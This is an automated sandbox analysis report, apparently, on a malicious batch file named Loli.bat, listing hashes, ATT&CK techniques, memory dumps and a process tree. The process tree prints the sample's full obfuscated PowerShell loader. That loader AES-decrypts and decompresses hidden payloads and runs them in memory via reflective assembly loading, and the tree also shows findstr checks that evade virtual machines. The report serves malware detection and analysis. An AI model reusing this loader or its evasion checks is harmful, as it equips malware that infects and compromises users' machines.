4a75da4a68bc6d2a90931204e354dc2435ed5c2a8abe83642edf0039ec10cea0

General

Target

Loli.bat
Size

7.4MB
MD5

747a4120cae88904b88472e7874d6352
SHA1

d8cb67d6d0ad090624554f88e5fa29758f45b87c
SHA256

4a75da4a68bc6d2a90931204e354dc2435ed5c2a8abe83642edf0039ec10cea0
SHA512

f4962d58b9d743f389e463887db567a212802afd069d60644a46f7ef19f30f16c1596714ec7cea01fa34c2a39bac14620f523ca13ee2a01eae09dca99044876a
SSDEEP

49152:SnfAqzDiVKf4rMNUZYiWPq6lR6aX1z3GCaFej4GA645ljbo9csn5ZtFQljN7Z8NY:r

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2824	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2700	2644	cmd.exe	31
PID 2644 wrote to memory of 2700	2644	cmd.exe	31
PID 2644 wrote to memory of 2700	2644	cmd.exe	31
PID 2644 wrote to memory of 2792	2644	cmd.exe	32
PID 2644 wrote to memory of 2792	2644	cmd.exe	32
PID 2644 wrote to memory of 2792	2644	cmd.exe	32
PID 2644 wrote to memory of 2796	2644	cmd.exe	33
PID 2644 wrote to memory of 2796	2644	cmd.exe	33
PID 2644 wrote to memory of 2796	2644	cmd.exe	33
PID 2644 wrote to memory of 2660	2644	cmd.exe	34
PID 2644 wrote to memory of 2660	2644	cmd.exe	34
PID 2644 wrote to memory of 2660	2644	cmd.exe	34
PID 2644 wrote to memory of 2820	2644	cmd.exe	35
PID 2644 wrote to memory of 2820	2644	cmd.exe	35
PID 2644 wrote to memory of 2820	2644	cmd.exe	35
PID 2644 wrote to memory of 2824	2644	cmd.exe	36
PID 2644 wrote to memory of 2824	2644	cmd.exe	36
PID 2644 wrote to memory of 2824	2644	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\system32\fsutil.exe
  fsutil fsinfo drives
  2⤵
  PID:2700
- C:\Windows\system32\findstr.exe
  findstr /i /c:"QEMU HARDDISK" /c:"DADY HARDDISK" /c:"WDS100T2B0A"
  2⤵
  PID:2792
- C:\Windows\system32\fsutil.exe
  fsutil fsinfo drives
  2⤵
  PID:2796
- C:\Windows\system32\findstr.exe
  findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
  2⤵
  PID:2660
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo function OCQD($BovA){ Invoke-Expression -Verbose -InformationAction Ignore -WarningAction Inquire '$ptOc=[ZWSyZWsZWtZWemZW.ZWSZWeZWcZWuZWrZWitZWyZW.ZWCrZWyZWpZWtZWogZWrZWaZWpZWhZWy.ZWAeZWs]ZW:ZW:CZWreZWaZWtZWe(ZW)ZW;'.Replace('ZW', ''); Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore '$ptOc.MGjodGjeGj=Gj[SGjyGjsGjtGjeGjmGj.GjSeGjcGjuGjriGjtGjyGj.GjCrGjyGjpGjtGjoGjgrGjapGjhyGj.GjCiGjphGjeGjrGjMoGjdGjeGj]:Gj:GjCGjBCGj;'.Replace('Gj', ''); Invoke-Expression -Debug -InformationAction Ignore -Verbose '$ptOc.Pbfadbfdbfibfngbf=bf[bfSbfybfsbftbfembf.bfSbfecbfubfrbfibftybf.bfCbfrbfybfptbfogbfrabfpbfhybf.PbfabfdbfdibfnbfgbfMobfdbfebf]:bf:bfPbfKbfCSbf7;'.Replace('bf', ''); Invoke-Expression -Debug '$ptOc.KTbeyTb=Tb[TbSyTbsTbtTbeTbmTb.TbCTbonTbvTbeTbrtTb]Tb:Tb:TbFrTboTbmTbBTbaTbseTb64TbStTbrTbinTbg("OTbUeTbfTbKTbbtTbLTbiTbRTbJTbMTbWTbh9Tb2TbqTb20Tb1TbYTbITbCDTbPTb8TbxTbDTbkBTbJ5TbGHTbSTb0CTbKOTbsTb3Tb/QTb=Tb");'.Replace('Tb', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Debug '$ptOc.IQdV=Qd[QdSQdysQdtQdeQdmQd.QdCQdoQdnvQdeQdrQdt]Qd:Qd:QdFQdroQdmQdBQdaQdsQde6Qd4SQdtrQdiQdngQd("7QdPMQdsQdtQdZZQdPQdCQddQdYQdRQdOQdytQdEQdWQdWNQdgQd6QdQQd==Qd");'.Replace('Qd', ''); $iIJK=$ptOc.CreateDecryptor(); $YTDD=$iIJK.TransformFinalBlock($BovA, 0, $BovA.Length); $iIJK.Dispose(); $ptOc.Dispose(); $YTDD;}function pyrM($BovA){ Invoke-Expression -Verbose '$OogZ=NZsewZs-ZsOZsbjZseZscZstZs ZsSZsyZsstZseZsmZs.IZsOZs.ZsMZsemZsoZsrZsyZsSZstrZseaZsm(,$BovA);'.Replace('Zs', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$CeKU=NZsewZs-ZsOZsbjZseZscZstZs ZsSZsyZsstZseZsmZs.IZsOZs.ZsMZsemZsoZsrZsyZsSZstrZseaZsm;'.Replace('Zs', ''); Invoke-Expression -InformationAction Ignore -Debug -Verbose '$ANEs=NPBewPB-PBOPBbjPBePBcPBtPB PBSPByPBstPBePBmPB.IPBOPB.PBCPBomPBpPBrPBePBsPBsiPBonPB.GPBZPBipPBStPBrPBePBamPB($OogZ, [PBIOPB.PBCPBomPBpPBrPBePBsPBsPBiPBonPB.PBCPBomPBpPBrPBePBssPBiPBoPBnPBMPBodPBe]PB::PBDPBecPBomPBpPBrPBesPBsPB);'.Replace('PB', ''); $ANEs.CopyTo($CeKU); $ANEs.Dispose(); $OogZ.Dispose(); $CeKU.Dispose(); $CeKU.ToArray();}function vykA($BovA,$dRUu){ Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$wvZj=[ARSyARsARtARemAR.ARRAReARfARlAReARctARiARoARn.ARAARsARsARemARbARlARyAR]AR::ARLoARadAR([byte[]]$BovA);'.Replace('AR', ''); Invoke-Expression -InformationAction Ignore '$Opbk=$wvZj.EXyntXyrXyyXyPoXyiXynXyt;'.Replace('Xy', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$Opbk.SjInSjvSjoSjkeSj(Sj$SjnSjuSjlSjl, $dRUu);'.Replace('Sj', '');}$xnNA = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $xnNA;$qtJd=[System.IO.File]::ReadAllText($xnNA).Split([Environment]::NewLine);foreach ($NMFm in $qtJd) { if ($NMFm.StartsWith('BIIUF')) { $DiIV=$NMFm.Substring(5); break; }}$zCME=[string[]]$DiIV.Split('\');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose '$nDu = pyrM (OCQD ([sXCosXnsXvsXersXtsX]sX:sX:sXFsXrsXomsXBsXasXsesX6sX4sXSsXtrsXisXnsXg($zCME[0].Replace("#", "/").Replace("@", "A"))));'.Replace('sX', '');Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$jgO = pyrM (OCQD ([sXCosXnsXvsXersXtsX]sX:sX:sXFsXrsXomsXBsXasXsesX6sX4sXSsXtrsXisXnsXg($zCME[1].Replace("#", "/").Replace("@", "A"))));'.Replace('sX', '');Invoke-Expression -Debug '$XmJ = pyrM (OCQD ([sXCosXnsXvsXersXtsX]sX:sX:sXFsXrsXomsXBsXasXsesX6sX4sXSsXtrsXisXnsXg($zCME[2].Replace("#", "/").Replace("@", "A"))));'.Replace('sX', '');vykA $nDu $null;vykA $jgO $null;vykA $XmJ (,[string[]] (''));
  2⤵
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2824-4-0x000007FEF64CE000-0x000007FEF64CF000-memory.dmp

Filesize
4KB

Download
memory/2824-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2824-7-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-10-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-9-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-8-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2824-11-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-12-0x000007FEF64CE000-0x000007FEF64CF000-memory.dmp

Filesize
4KB

Download
memory/2824-13-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download

Resubmissions

Analysis

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